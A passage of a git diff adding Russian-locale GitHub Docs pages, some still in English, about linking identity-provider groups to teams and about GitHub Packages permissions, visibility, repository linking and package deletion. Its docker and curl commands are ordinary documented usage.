помощью единого входа SAML. Дополнительные сведения см. в разделе [Проверка подлинности с помощью единого входа SAML](/articles/authenticating-with-saml-single-sign-on). + +{% elsif ghae %} Прежде чем подключить команду {% data variables.product.product_name %} к группе поставщика удостоверений, необходимо сначала настроить подготовку пользователей для {% data variables.location.product_location %} с помощью поддерживаемой системы управления междоменной идентификацией (SCIM). Дополнительные сведения см. в разделе [Настройка подготовки пользователей в организации](/admin/authentication/configuring-user-provisioning-for-your-enterprise). + +После настройки подготовки пользователей в {% data variables.product.product_name %} с помощью SCIM можно назначить приложение {% data variables.product.product_name %} каждой группе поставщика удостоверений, которую вы хотите использовать в {% data variables.product.product_name %}. Дополнительные сведения см. в статье [Настройка автоматической подготовки пользователей в GitHub AE](https://docs.microsoft.com/en-us/azure/active-directory/saas-apps/github-ae-provisioning-tutorial#step-5-configure-automatic-user-provisioning-to-github-ae) в Документация Майкрософт. + +{% elsif scim-for-ghes %} Необходимо настроить подготовку пользователей с помощью SCIM для {% data variables.location.product_location %}. Дополнительные сведения см. в разделе [Настройка подготовки пользователей с помощью SCIM для вашего предприятия](/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-user-provisioning-with-scim-for-your-enterprise). + +{% data reusables.scim.ghes-beta-note %} {% endif %} + +## Подключение группы поставщика удостоверений к команде + +При подключении группы поставщика удостоверений к команде {% data variables.product.product_name %} все пользователи в группе автоматически добавляются в команду. {% ifversion ghae %}Все пользователи, которые еще не были членами родительской организации, также добавляются в организацию.{% endif %} + +{% data reusables.profile.access_org %} {% data reusables.user-settings.access_org %} {% data reusables.organizations.specific_team %} {% data reusables.organizations.team_settings %} {% ifversion ghec %} +6. В разделе "Группы поставщика удостоверений" используйте раскрывающееся меню и выберите до 5 групп. + ![Раскрывающееся меню для выбора групп поставщика удостоверений](/assets/images/help/teams/choose-an-idp-group.png){% elsif ghae %} +6. В разделе "Группа поставщика удостоверений" используйте раскрывающееся меню и выберите группу из списка. + ![Раскрывающееся меню для выбора группы поставщика удостоверений](/assets/images/enterprise/github-ae/teams/choose-an-idp-group.png){% endif %} +7. Нажмите кнопку **Сохранить изменения**. + +## Отключение группы поставщика удостоверений от команды + +При отключении группы поставщика удостоверений от команды {% data variables.product.prodname_dotcom %} участники команды, назначенные команде {% data variables.product.prodname_dotcom %} посредством группы поставщика удостоверений, будут удалены из команды. {% ifversion ghae %} Все пользователи, которые были членами родительской организации только из-за этого подключения команды, также удаляются из организации.{% endif %} + +{% data reusables.profile.access_org %} {% data reusables.user-settings.access_org %} {% data reusables.organizations.specific_team %} {% data reusables.organizations.team_settings %} {% ifversion ghec %} +6. В разделе "Группы поставщика удостоверений" справа от группы поставщика удостоверений, которую нужно отключить, нажмите {% octicon "x" aria-label="X symbol" %}. + ![Отмена подключения выбранной группы поставщика удостоверений от команды GitHub](/assets/images/help/teams/unselect-idp-group.png){% elsif ghae %} +6. В разделе "Группа поставщика удостоверений" справа от группы поставщика удостоверений, которую нужно отключить, нажмите {% octicon "x" aria-label="X symbol" %}. + ![Отмена подключения выбранной группы поставщика удостоверений от команды GitHub](/assets/images/enterprise/github-ae/teams/unselect-idp-group.png){% endif %} +7. Нажмите кнопку **Сохранить изменения**. diff --git a/translations/ru-RU/content/packages/index.md b/translations/ru-RU/content/packages/index.md new file mode 100644 index 000000000000..4f3183c01cbc --- /dev/null +++ b/translations/ru-RU/content/packages/index.md @@ -0,0 +1,48 @@ +--- +title: Документация по GitHub Packages +shortTitle: GitHub Packages +intro: 'Узнайте, как безопасно публиковать и использовать пакеты, хранить пакеты вместе с кодом, а также предоставлять доступ к пакетам в частном порядке вашей команде или делать их открытый код общедоступным для сообщества разработчиков. Вы также можете автоматизировать пакеты с помощью {% data variables.product.prodname_actions %}.' +introLinks: + quickstart: /packages/quickstart + reference: /packages/manage-packages +featuredLinks: + guides: + - /packages/learn-github-packages + - /packages/managing-github-packages-using-github-actions-workflows + - /packages/learn-github-packages/installing-a-package + popular: + - /packages/working-with-a-github-packages-registry/working-with-the-npm-registry + - '{% ifversion docker-ghcr-enterprise-migration %}/packages/working-with-a-github-packages-registry/migrating-to-the-container-registry-from-the-docker-registry{% endif %}' + - /packages/learn-github-packages + - /packages/working-with-a-github-packages-registry/working-with-the-apache-maven-registry + guideCards: + - '{% ifversion docker-ghcr-enterprise-migration %}/packages/working-with-a-github-packages-registry/migrating-to-the-container-registry-from-the-docker-registry{% endif %}' + - '{% ifversion fpt or ghec or ghes > 3.4 %}/packages/working-with-a-github-packages-registry/working-with-the-container-registry{% else %}/packages/working-with-a-github-packages-registry/working-with-the-docker-registry{% endif %}' + - '{% ifversion packages-npm-v2 %}/packages/working-with-a-github-packages-registry/working-with-the-npm-registry{% endif %}' + - /packages/working-with-a-github-packages-registry/working-with-the-rubygems-registry +changelog: + label: packages + prefix: 'Packages: ' +redirect_from: + - /github/managing-packages-with-github-packages + - /categories/managing-packages-with-github-package-registry + - /github/managing-packages-with-github-package-registry +layout: product-landing +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +children: + - /quickstart + - /learn-github-packages + - /working-with-a-github-packages-registry + - /managing-github-packages-using-github-actions-workflows +ms.openlocfilehash: 768e5ea20b7e4242afe7a8880982052ff818df63 +ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/09/2022 +ms.locfileid: '147704934' +--- +<!--This section is needed to determine the order of the left sidebar for now--> diff --git a/translations/ru-RU/content/packages/learn-github-packages/about-permissions-for-github-packages.md b/translations/ru-RU/content/packages/learn-github-packages/about-permissions-for-github-packages.md new file mode 100644 index 000000000000..8d4025e3d694 --- /dev/null +++ b/translations/ru-RU/content/packages/learn-github-packages/about-permissions-for-github-packages.md @@ -0,0 +1,89 @@ +--- +title: About permissions for GitHub Packages +intro: Learn about how to manage permissions for your packages. +product: '{% data reusables.gated-features.packages %}' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +shortTitle: About permissions +--- + +{% ifversion fpt or ghec %} +The permissions for packages are either repository-scoped or user/organization-scoped. +{% endif %} + +## Permissions for repository-scoped packages + +A repository-scoped package inherits the permissions and visibility of the repository that owns the package. You can find a package scoped to a repository by going to the main page of the repository and clicking the **Packages** link to the right of the page. {% ifversion fpt or ghec %}For more information, see "[Connecting a repository to a package](/packages/learn-github-packages/connecting-a-repository-to-a-package)."{% endif %} + +The {% data variables.product.prodname_registry %} registries below **only** use repository-scoped permissions: + + {% ifversion not fpt or ghec %}- Docker registry (`docker.pkg.github.com`){% endif %} + {% ifversion packages-npm-v2 %}{% else %}- npm registry{% endif %} + - RubyGems registry + - Apache Maven registry + - NuGet registry + +{% ifversion packages-npm-v2 %}For {% data variables.packages.prodname_ghcr_and_npm_registry %}, you can choose to allow packages to be scoped to a user, an organization, or linked to a repository.{% endif %} + +{% ifversion fpt or ghec %} +## Granular permissions for user/organization-scoped packages + +Packages with granular permissions are scoped to a personal user or organization account. You can change the access control and visibility of the package separately from a repository that is connected (or linked) to a package. + +Currently, the {% data variables.packages.prodname_ghcr_and_npm_registry %} offer granular permissions for your container image packages. + +## Visibility and access permissions for container images + +{% data reusables.package_registry.visibility-and-access-permissions %} + +For more information, see "[Configuring a package's access control and visibility](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility)." + +{% endif %} + +## About scopes and permissions for package registries + +{% data reusables.package_registry.packages-classic-pat-only %} + +To use or manage a package hosted by a package registry, you must use a {% data variables.product.pat_v1 %} with the appropriate scope, and your personal account must have appropriate permissions. + +For example: +- To download and install packages from a repository, your {% data variables.product.pat_v1 %} must have the `read:packages` scope, and your user account must have read permission. +- {% ifversion fpt or ghes or ghec %}To delete a package on {% data variables.product.product_name %}, your {% data variables.product.pat_v1 %} must at least have the `delete:packages` and `read:packages` scope. The `repo` scope is also required for repo-scoped packages. For more information, see "[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package)."{% elsif ghae %}To delete a specified version of a package on {% data variables.product.product_name %}, your {% data variables.product.pat_v1 %} must have the `delete:packages` and `repo` scope. For more information, see "[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package)."{% endif %} + +| Scope | Description | Required permission | +| --- | --- | --- | +|`read:packages`| Download and install packages from {% data variables.product.prodname_registry %} | read | +|`write:packages`| Upload and publish packages to {% data variables.product.prodname_registry %} | write | +| `delete:packages` | {% ifversion fpt or ghes or ghec %} Delete packages from {% data variables.product.prodname_registry %} {% elsif ghae %} Delete specified versions of packages from {% data variables.product.prodname_registry %} {% endif %} | admin | +| `repo` | Upload and delete packages (along with `write:packages`, or `delete:packages`) | write or admin | + +When you create a {% data variables.product.prodname_actions %} workflow, you can use the `GITHUB_TOKEN` to publish and install packages in {% data variables.product.prodname_registry %} without needing to store and manage a {% data variables.product.pat_generic %}. + +For more information, see:{% ifversion fpt or ghec %} +- "[Configuring a package’s access control and visibility](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility)"{% endif %} +- "[Publishing and installing a package with {% data variables.product.prodname_actions %}](/packages/managing-github-packages-using-github-actions-workflows/publishing-and-installing-a-package-with-github-actions)" +- "[Creating a {% data variables.product.pat_generic %}](/github/authenticating-to-github/creating-a-personal-access-token/)" +- "[Available scopes](/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)" + +## Maintaining access to packages in {% data variables.product.prodname_actions %} workflows + +To ensure your workflows will maintain access to your packages, ensure that you're using the right access token in your workflow and that you've enabled {% data variables.product.prodname_actions %} access to your package. + +For more conceptual background on {% data variables.product.prodname_actions %} or examples of using packages in workflows, see "[Managing GitHub Packages using GitHub Actions workflows](/packages/managing-github-packages-using-github-actions-workflows)." + +### Access tokens + +- To publish packages associated with the workflow repository, use `GITHUB_TOKEN`. +- To install packages associated with other private repositories that `GITHUB_TOKEN` can't access, use a {% data variables.product.pat_v1 %} + +For more information about `GITHUB_TOKEN` used in {% data variables.product.prodname_actions %} workflows, see "[Authentication in a workflow](/actions/reference/authentication-in-a-workflow#using-the-github_token-in-a-workflow)." + +{% ifversion fpt or ghec %} +### {% data variables.product.prodname_actions %} access for container images + +To ensure your workflows have access to your container image, you must enable {% data variables.product.prodname_actions %} access to the repositories where your workflow is run. You can find this setting on your package's settings page. For more information, see "[Ensuring workflow access to your package](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility#ensuring-workflow-access-to-your-package)." + +{% endif %} diff --git a/translations/ru-RU/content/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility.md b/translations/ru-RU/content/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility.md new file mode 100644 index 000000000000..3e7204200c1c --- /dev/null +++ b/translations/ru-RU/content/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility.md @@ -0,0 +1,181 @@ +--- +title: Configuring a package's access control and visibility +intro: 'Choose who has read, write, or admin access to your container image and the visibility of your container images on {% data variables.product.prodname_dotcom %}.' +product: '{% data reusables.gated-features.packages %}' +redirect_from: + - /packages/managing-container-images-with-github-container-registry/configuring-access-control-and-visibility-for-container-images + - /packages/guides/configuring-access-control-and-visibility-for-container-images +versions: + fpt: '*' + ghec: '*' + ghes: '*' +shortTitle: Access control & visibility +--- +{% data reusables.package_registry.container-registry-ghes-beta %} + +Packages with granular permissions are scoped to a personal user or organization account. You can change the access control and visibility of a package separately from the repository that it is connected (or linked) to. + +Currently, you can only use granular permissions with the {% data variables.packages.prodname_ghcr_and_npm_registry %}. Granular permissions are not supported in our other package registries, such as the RubyGems registry.{% ifversion docker-ghcr-enterprise-migration %} For more information about migration to the {% data variables.product.prodname_container_registry %}, see "[Migrating to the {% data variables.product.prodname_container_registry %} from the Docker registry](/packages/working-with-a-github-packages-registry/migrating-to-the-container-registry-from-the-docker-registry)."{% endif %} + +For more information about permissions for repository-scoped packages, packages-related scopes for PATs, or managing permissions for your actions workflows, see "[About permissions for GitHub Packages](/packages/learn-github-packages/about-permissions-for-github-packages)." + +## Visibility and access permissions for container images + +{% data reusables.package_registry.visibility-and-access-permissions %} + +## Configuring access to container images for your personal account + +If you have admin permissions to a container image that's owned by a personal account, you can assign read, write, or admin roles to other users. For more information about these permission roles, see "[Visibility and access permissions for container images](#visibility-and-access-permissions-for-container-images)." + +If your package is private or internal and owned by an organization, then you can only give access to other organization members or teams. + +{% data reusables.package_registry.package-settings-option %} +1. On the package settings page, click **Invite teams or people** and enter the name, username, or email of the person you want to give access. Teams cannot be given access to a container image owned by a personal account. + ![Container access invite button](/assets/images/help/package-registry/container-access-invite.png) +1. Next to the username or team name, use the "Role" drop-down menu to select a desired permission level. + ![Container access options](/assets/images/help/package-registry/container-access-control-options.png) + +The selected users will automatically be given access and don't need to accept an invitation first. + +## Configuring access to container images for an organization + +If you have admin permissions to an organization-owned container image, you can assign read, write, or admin roles to other users and teams. For more information about these permission roles, see "[Visibility and access permissions for container images](#visibility-and-access-permissions-for-container-images)." + +If your package is private or internal and owned by an organization, then you can only give access to other organization members or teams. + +{% data reusables.package_registry.package-settings-from-org-level %} +{% data reusables.package_registry.package-settings-option %} +1. On the package settings page, click **Invite teams or people** and enter the name, username, or email of the person you want to give access. You can also enter a team name from the organization to give all team members access. + ![Container access invite button](/assets/images/help/package-registry/container-access-invite.png) +1. Next to the username or team name, use the "Role" drop-down menu to select a desired permission level. + ![Container access options](/assets/images/help/package-registry/container-access-control-options.png) + +The selected users or teams will automatically be given access and don't need to accept an invitation first. + +## Inheriting access for a container image from a repository + +To simplify package management through {% data variables.product.prodname_actions %} workflows, you can enable a container image to inherit the access permissions of a repository by default. + +If you inherit the access permissions of the repository where your package's workflows are stored, then you can adjust access to your package through the repository's permissions. + +Once a repository is synced, you can't access the package's granular access settings. To customize the package's permissions through the granular package access settings, you must remove the synced repository first. + +{% data reusables.package_registry.package-settings-from-org-level %} +{% data reusables.package_registry.package-settings-option %} +2. Under "Repository source", select **Inherit access from repository (recommended)**. + ![Inherit repo access checkbox](/assets/images/help/package-registry/inherit-repo-access-for-package.png) + +## Ensuring workflow access to your package + +To ensure that a {% data variables.product.prodname_actions %} workflow has access to your package, you must give explicit access to the repository where the workflow is stored. + +The specified repository does not need to be the repository where the source code for the package is kept. You can give multiple repositories workflow access to a package. + +{% note %} + +**Note:** Syncing your container image with a repository through the **Actions access** menu option is different than connecting your container to a repository. For more information about linking a repository to your container, see "[Connecting a repository to a package](/packages/learn-github-packages/connecting-a-repository-to-a-package)." + +{% endnote %} + +### {% data variables.product.prodname_actions %} access for user-account-owned container images + +{% data reusables.package_registry.package-settings-option %} +1. In the left sidebar, click **Actions access**. + !["Actions access" option in left menu](/assets/images/help/package-registry/organization-repo-access-for-a-package.png) +2. To ensure your workflow has access to your container package, you must add the repository where the workflow is stored. Click **Add repository** and search for the repository you want to add. + !["Add repository" button](/assets/images/help/package-registry/add-repository-button.png) +3. Using the "role" drop-down menu, select the default access level that you'd like the repository to have to your container image. + ![Permission access levels to give to repositories](/assets/images/help/package-registry/repository-permission-options-for-package-access-through-actions.png) + +To further customize access to your container image, see "[Configuring access to container images for your personal account](#configuring-access-to-container-images-for-your-personal-account)." + +### {% data variables.product.prodname_actions %} access for organization-owned container images + +{% data reusables.package_registry.package-settings-from-org-level %} +{% data reusables.package_registry.package-settings-option %} +1. In the left sidebar, click **Actions access**. + !["Actions access" option in left menu](/assets/images/help/package-registry/organization-repo-access-for-a-package.png) +2. Click **Add repository** and search for the repository you want to add. + !["Add repository" button](/assets/images/help/package-registry/add-repository-button.png) +3. Using the "role" drop-down menu, select the default access level that you'd like repository members to have to your container image. Outside collaborators will not be included. + ![Permission access levels to give to repositories](/assets/images/help/package-registry/repository-permission-options-for-package-access-through-actions.png) + +To further customize access to your container image, see "[Configuring access to container images for an organization](#configuring-access-to-container-images-for-an-organization)." + +{% ifversion fpt or ghec %} +## Ensuring {% data variables.product.prodname_github_codespaces %} access to your package + +By default, a codespace can seamlessly access certain packages in the {% data variables.packages.prodname_ghcr_and_npm_registry %}, such as those published in the same repository with the **Inherit access** option selected. For more information on which access is automatically configured, see "[Allowing your codespace to access a private image registry](/codespaces/codespaces-reference/allowing-your-codespace-to-access-a-private-image-registry#accessing-images-stored-in-container-registry-and-npm-registry)." + +Otherwise, to ensure that a codespace has access to your package, you must grant access to the repository where the codespace is being launched. + +The specified repository does not need to be the repository where the source code for the package is kept. You can give codespaces in multiple repositories access to a package. + +Once you've selected the package you're interested in sharing with codespaces in a repository, you can grant that repo access. + +1. In the right sidebar, click **Package settings**. + + !["Package settings" option in right menu](/assets/images/help/package-registry/package-settings.png) + +2. Under "Manage Codespaces access", click **Add repository**. + + !["Add repository" button](/assets/images/help/package-registry/manage-codespaces-access-blank.png) + +3. Search for the repository you want to add. + + !["Add repository" button](/assets/images/help/package-registry/manage-codespaces-access-search.png) + +4. Repeat for any additional repositories you would like to allow access. + +5. If the codespaces for a repository no longer need access to an image, you can remove access. + + !["Remove repository" button](/assets/images/help/package-registry/manage-codespaces-access-item.png) + +{% endif %} +## Configuring visibility of container images for your personal account + +When you first publish a package, the default visibility is private and only you can see the package. You can modify a private or public container image's access by changing the access settings. + +A public package can be accessed anonymously without authentication. Once you make your package public, you cannot make your package private again. + +{% data reusables.package_registry.package-settings-option %} +5. Under "Danger Zone", choose a visibility setting: + - To make the container image visible to anyone, click **Make public**. + {% warning %} + + **Warning:** Once you make a package public, you cannot make it private again. + + {% endwarning %} + - To make the container image visible to a custom selection of people, click **Make private**. + ![Container visibility options](/assets/images/help/package-registry/container-visibility-option.png) + +## Container creation visibility for organization members + +You can choose the visibility of containers that organization members can publish by default. + +{% data reusables.profile.access_org %} +{% data reusables.profile.org_settings %} +4. On the left, click **Packages**. +6. Under "Container creation", choose whether you want to enable the creation of public, private, or internal container images. + - To enable organization members to create public container images, click **Public**. + - To enable organization members to create private container images that are only visible to other organization members, click **Private**. You can further customize the visibility of private container images. + - To enable organization members to create internal container images that are visible to all organization members, click **Internal**. If the organization belongs to an enterprise, the container images will be visible to all enterprise members. + ![Visibility options for container images published by organization members](/assets/images/help/package-registry/container-creation-org-settings.png) + +## Configuring visibility of container images for an organization + +When you first publish a package, the default visibility is private and only you can see the package. You can grant users or teams different access roles for your container image through the access settings. + +A public package can be accessed anonymously without authentication. Once you make your package public, you cannot make your package private again. + +{% data reusables.package_registry.package-settings-from-org-level %} +{% data reusables.package_registry.package-settings-option %} +5. Under "Danger Zone", choose a visibility setting: + - To make the container image visible to anyone, click **Make public**. + {% warning %} + + **Warning:** Once you make a package public, you cannot make it private again. + + {% endwarning %} + - To make the container image visible to a custom selection of people, click **Make private**. + ![Container visibility options](/assets/images/help/package-registry/container-visibility-option.png) diff --git a/translations/ru-RU/content/packages/learn-github-packages/connecting-a-repository-to-a-package.md b/translations/ru-RU/content/packages/learn-github-packages/connecting-a-repository-to-a-package.md new file mode 100644 index 000000000000..db786ab0a815 --- /dev/null +++ b/translations/ru-RU/content/packages/learn-github-packages/connecting-a-repository-to-a-package.md @@ -0,0 +1,85 @@ +--- +title: Connecting a repository to a package +intro: 'You can connect a repository to a container image on {% data variables.location.product_location %}.' +product: '{% data reusables.gated-features.packages %}' +redirect_from: + - /packages/managing-container-images-with-github-container-registry/connecting-a-repository-to-a-container-image + - /packages/guides/connecting-a-repository-to-a-container-image +versions: + fpt: '*' + ghec: '*' + ghes: '*' +shortTitle: Connect a repository +--- + +By connecting a repository to a package, the package landing page will show information and links from the repository, such as the README. + +## Connecting a repository to a user-owned package on {% data variables.product.prodname_dotcom %} + +{% data reusables.package_registry.package-settings-from-user-level %} + +{% data reusables.package_registry.repository_connection_steps %} + +## Connecting a repository to an organization-owned package on {% data variables.product.prodname_dotcom %} + +{% data reusables.package_registry.package-settings-from-org-level %} + +{% data reusables.package_registry.repository_connection_steps %} + +{% ifversion fpt or ghec or ghes > 3.4 %} +## Connecting a repository to a container image using the command line + +{% ifversion ghes > 3.4 %} +{% data reusables.package_registry.container-registry-ghes-beta %} +{% endif %} + +1. In your Dockerfile, add this line, replacing {% ifversion ghes %}`HOSTNAME`, {% endif %}`OWNER` and `REPO` with your details: + + ```shell + LABEL org.opencontainers.image.source=https://{% ifversion fpt or ghec %}github.com{% else %}HOSTNAME{% endif %}/OWNER/REPO + ``` + For example, if you're the user `monalisa` and own `my-repo`, and {% data variables.location.product_location %} hostname is `github.companyname.com`, you would add this line to your Dockerfile: + ```shell + LABEL org.opencontainers.image.source=https://{% ifversion fpt or ghec %}github.com{% else %}{% data reusables.package_registry.container-registry-example-hostname %}{% endif %}/monalisa/my-repo + ``` + For more information, see "[LABEL](https://docs.docker.com/engine/reference/builder/#label)" in the official Docker documentation and "[Pre-defined Annotation Keys](https://github.com/opencontainers/image-spec/blob/master/annotations.md#pre-defined-annotation-keys)" in the `opencontainers/image-spec` repository. + +2. Build your container image. This example builds an image from the Dockerfile in the current directory and assigns the image name `hello_docker`. + + ```shell + $ docker build -t hello_docker . + ``` +3. Optionally, review details for the Docker image you want to tag. + ```shell + $ docker images + > REPOSITORY TAG IMAGE ID CREATED SIZE + > {% data reusables.package_registry.container-registry-example-hostname %}/my-org/hello_docker latest 38f737a91f39 47 hours ago 91.7MB + > {% data reusables.package_registry.container-registry-example-hostname %}/my-username/hello_docker latest 38f737a91f39 47 hours ago 91.7MB + > hello-world latest fce289e99eb9 16 months ago 1.84kB + ``` + +4. Tag your Docker image with your desired image name and hosting destination. + ```shell + $ docker tag IMAGE_NAME {% data reusables.package_registry.container-registry-hostname %}/OWNER/NEW_IMAGE_NAME:TAG + ``` + For example: + ```shell + $ docker tag 38f737a91f39 {% data reusables.package_registry.container-registry-example-hostname %}/monalisa/hello_docker:latest + ``` + +5. If you haven't already, authenticate to the {% data variables.product.prodname_container_registry %}. For more information, see "[Authenticating to the {% data variables.product.prodname_container_registry %}](/packages/managing-container-images-with-github-container-registry/pushing-and-pulling-docker-images#authenticating-to-the-container-registry)." + {% raw %} + ```shell + $ echo $CR_PAT | docker login {% endraw %}{% data reusables.package_registry.container-registry-hostname %}{% raw %} -u USERNAME --password-stdin + > Login Succeeded + ``` + {% endraw %} +6. Push your container image to the {% data variables.product.prodname_container_registry %}. + ```shell + $ docker push {% data reusables.package_registry.container-registry-hostname %}/OWNER/IMAGE-NAME:TAG + ``` + For example: + ```shell + $ docker push {% data reusables.package_registry.container-registry-example-hostname %}/monalisa/hello_docker:latest + ``` +{% endif %} diff --git a/translations/ru-RU/content/packages/learn-github-packages/deleting-and-restoring-a-package.md b/translations/ru-RU/content/packages/learn-github-packages/deleting-and-restoring-a-package.md new file mode 100644 index 000000000000..cb8b157547de --- /dev/null +++ b/translations/ru-RU/content/packages/learn-github-packages/deleting-and-restoring-a-package.md @@ -0,0 +1,253 @@ +--- +title: Deleting and restoring a package +intro: Learn how to delete or restore a package. +product: '{% data reusables.gated-features.packages %}' +redirect_from: + - /github/managing-packages-with-github-packages/deleting-a-package + - /packages/publishing-and-managing-packages/deleting-a-package + - /packages/manage-packages/deleting-a-package + - /packages/guides/deleting-a-container-image +versions: + fpt: '*' + ghes: '*' + ghec: '*' + ghae: '*' +shortTitle: Delete & restore a package +--- + +{% data reusables.package_registry.packages-ghes-release-stage %} + +## Package deletion and restoration support on {% data variables.product.prodname_dotcom %} + +On {% data variables.product.prodname_dotcom %} if you have the required access, you can delete: +- an entire private package +- an entire public package, if there's not more than 5000 downloads of any version of the package +- a specific version of a private package +- a specific version of a public package, if the package version doesn't have more than 5,000 downloads + +{% note %} + +**Note:** +- You cannot delete a public package if any version of the package has more than 5,000 downloads. In this scenario, contact [GitHub support](https://support.github.com/contact?tags=docs-packages) for further assistance. +- When deleting public packages, be aware that you may break projects that depend on your package. + +{% endnote %} + +On {% data variables.product.prodname_dotcom %}, you can also restore an entire package or package version, if: +- You restore the package within 30 days of its deletion. +- The same package namespace is still available and not used for a new package. + +{% ifversion fpt or ghec or ghes %} +## Packages API support + +{% data reusables.package_registry.packages-classic-pat-only %} + +{% ifversion fpt or ghec %} + +You can use the REST API to manage your packages. For more information, see the "[{% data variables.product.prodname_registry %} API](/rest/reference/packages)." + +{% endif %} + +For packages that inherit their permissions and access from repositories, you can use GraphQL to delete a specific package version.{% data reusables.package_registry.no-graphql-to-delete-packages %} For more information about GraphQL support, see "[Deleting a version of a repository-scoped package with GraphQL](#deleting-a-version-of-a-repository-scoped-package-with-graphql)." + +{% endif %} + +## Required permissions to delete or restore a package + +For packages that inherit their access permissions from repositories, you can delete a package if you have admin permissions to the repository. + +The {% data variables.product.prodname_registry %} registries below **only** use repository-scoped permissions: + + {% ifversion not fpt or ghec %}- Docker images at `docker.pkg.github.com/OWNER/REPOSITORY/IMAGE-NAME`{% endif %} + {% ifversion packages-npm-v2 %}{% else %}- npm{% endif %} + - RubyGems registry + - Apache Maven registry + - NuGet registry + +{% ifversion packages-npm-v2 %}For {% data variables.packages.prodname_ghcr_and_npm_registry %}, you can choose to allow packages to be scoped to a user, an organization, or linked to a repository.{% endif %} + +{% ifversion fpt or ghec %} + +To delete a package that has granular permissions separate from a repository, such as container images stored at `https://ghcr.io/OWNER/PACKAGE-NAME` or `https://npm.pkg.github.com/OWNER/PACKAGE-NAME`, you must have admin access to the package. For more information, see "[About permissions for {% data variables.product.prodname_registry %}](/packages/learn-github-packages/about-permissions-for-github-packages)." + +{% endif %} + +## Deleting a package version + +### Deleting a version of a repository-scoped package on {% data variables.product.prodname_dotcom %} + +To delete a version of a repository-scoped package, you must have admin permissions to the repository that owns the package. For more information, see "[Required permissions](#required-permissions-to-delete-or-restore-a-package)." + +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.package_registry.packages-from-code-tab %} +{% data reusables.package_registry.package-settings-option %} +5. On the left, click **Manage versions**. +5. To the right of the version you want to delete, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} and select **Delete version**. + ![Delete package version button](/assets/images/help/package-registry/delete-container-package-version.png) +6. To confirm deletion, type the package name and click **I understand the consequences, delete this version**. + ![Confirm package deletion button](/assets/images/help/package-registry/package-version-deletion-confirmation.png) + +{% ifversion fpt or ghec or ghes %} +### Deleting a version of a repository-scoped package with GraphQL + +For packages that inherit their permissions and access from repositories, you can use the GraphQL to delete a specific package version. + +{% data reusables.package_registry.no-graphql-to-delete-packages %}{% ifversion fpt or ghec %} You can however use the REST API. For more information, see the "[{% data variables.product.prodname_registry %} API](/rest/reference/packages)."{% endif %} + +Use the `deletePackageVersion` mutation in the GraphQL API. You must use a {% data variables.product.pat_v1 %} with the `read:packages`, `delete:packages`, and `repo` scopes. For more information about {% data variables.product.pat_v1_plural %}, see "[About {% data variables.product.prodname_registry %}](/packages/publishing-and-managing-packages/about-github-packages#authenticating-to-github-packages)." + +The following example demonstrates how to delete a package version, using a `packageVersionId` of `MDIyOlJlZ2lzdHJ5UGFja2FnZVZlcnNpb243MTExNg`. + +```shell +curl -X POST \ +-H "Accept: application/vnd.github.package-deletes-preview+json" \ +-H "Authorization: bearer TOKEN" \ +-d '{"query":"mutation { deletePackageVersion(input:{packageVersionId:\"MDIyOlJlZ2lzdHJ5UGFja2FnZVZlcnNpb243MTExNg==\"}) { success }}"}' \ +HOSTNAME/graphql +``` + +To find all of the private packages you have published to {% data variables.product.prodname_registry %}, along with the version IDs for the packages, you can use the `packages` connection through the `repository` object. You will need a {% data variables.product.pat_v1 %} with the `read:packages` and `repo` scopes. For more information, see the [`packages`](/graphql/reference/objects#repository) connection or the [`PackageOwner`](/graphql/reference/interfaces#packageowner) interface. + +For more information about the `deletePackageVersion` mutation, see "[`deletePackageVersion`](/graphql/reference/mutations#deletepackageversion)." + +You cannot directly delete an entire package using GraphQL, but if you delete every version of a package, the package will no longer show on {% data variables.product.product_name %}. + +{% endif %} + +{% ifversion fpt or ghec %} +### Deleting a version of a user-scoped package on {% data variables.product.prodname_dotcom %} + +To delete a specific version of a user-scoped package on {% data variables.product.prodname_dotcom %}, such as for a Docker image at `ghcr.io`, use these steps. To delete an entire package, see "[Deleting an entire user-scoped package on {% data variables.product.prodname_dotcom %}](#deleting-an-entire-user-scoped-package-on-github)." + +To review who can delete a package version, see "[Required permissions](#required-permissions-to-delete-or-restore-a-package)." + +{% data reusables.package_registry.package-settings-from-user-level %} +{% data reusables.package_registry.package-settings-option %} +5. On the left, click **Manage versions**. +5. To the right of the version you want to delete, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} and select **Delete version**. + ![Delete package version button](/assets/images/help/package-registry/delete-container-package-version.png) +6. To confirm deletion, type the package name and click **I understand the consequences, delete this version**. + ![Confirm package deletion button](/assets/images/help/package-registry/confirm-container-package-version-deletion.png) + +### Deleting a version of an organization-scoped package on {% data variables.product.prodname_dotcom %} + +To delete a specific version of an organization-scoped package on {% data variables.product.prodname_dotcom %}, such as for a Docker image at `ghcr.io`, use these steps. +To delete an entire package, see "[Deleting an entire organization-scoped package on {% data variables.product.prodname_dotcom %}](#deleting-an-entire-organization-scoped-package-on-github)." + +To review who can delete a package version, see "[Required permissions to delete or restore a package](#required-permissions-to-delete-or-restore-a-package)." + +{% data reusables.package_registry.package-settings-from-org-level %} +{% data reusables.package_registry.package-settings-option %} +5. On the left, click **Manage versions**. +5. To the right of the version you want to delete, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} and select **Delete version**. + ![Delete package version button](/assets/images/help/package-registry/delete-container-package-version.png) +6. To confirm deletion, type the package name and click **I understand the consequences, delete this version**. + ![Confirm package version deletion button](/assets/images/help/package-registry/confirm-container-package-version-deletion.png) +{% endif %} + +## Deleting an entire package + +### Deleting an entire repository-scoped package on {% data variables.product.prodname_dotcom %} + +To delete an entire repository-scoped package, you must have admin permissions to the repository that owns the package. For more information, see "[Required 